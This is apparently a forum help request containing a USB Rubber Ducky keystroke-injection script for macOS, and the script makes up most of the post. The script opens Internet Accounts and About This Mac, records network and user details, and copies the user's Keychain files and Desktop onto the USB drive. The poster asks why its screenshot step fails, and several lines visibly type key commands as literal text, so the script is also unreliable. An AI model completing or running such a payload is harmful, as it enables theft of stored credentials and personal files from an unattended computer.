[MACHighSIerra Screenshoot to rubber ducky]

So I have a code I am working on to take a screenshot of the internet accounts and about this mac sections of OSX. Then I have it open up a terminal to write a file ifconfig and then it copys all of this to my Rubber ducky. Think is I cant get the Mac to screen shot. It keeps bypassing it and I think its the way I put it in my code. Here it goes (GUI SHIFT 3) is the code I think needs to be adjusted to take a screen shot.

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GUI SPACE
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STRING system preferences
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ENTER
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STRING internet accounts
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ENTER
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GUI TAB
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GUI SHIFT 3
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STRING GUI Q
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GUI SPACE
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STRING about this Mac
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STRING GUI SHIFT 3
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STRING GUI Q
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ENTER
STRING GUI SPACE
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STRING terminal
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STRING ifconfig > /Volumes/USB/intscan.txt
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STRING id -un > /Volumes/USB/CurrentUSer.txt
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STRING cp -r ~/Library/Keychains/* /Volumes/USB
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ENTER
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STRING cp -r /Users/kali/Desktop/* /Volumes/USB
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STRING diskutil unmountDisk /Volumes/USB && exit
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GUI Q
ENTER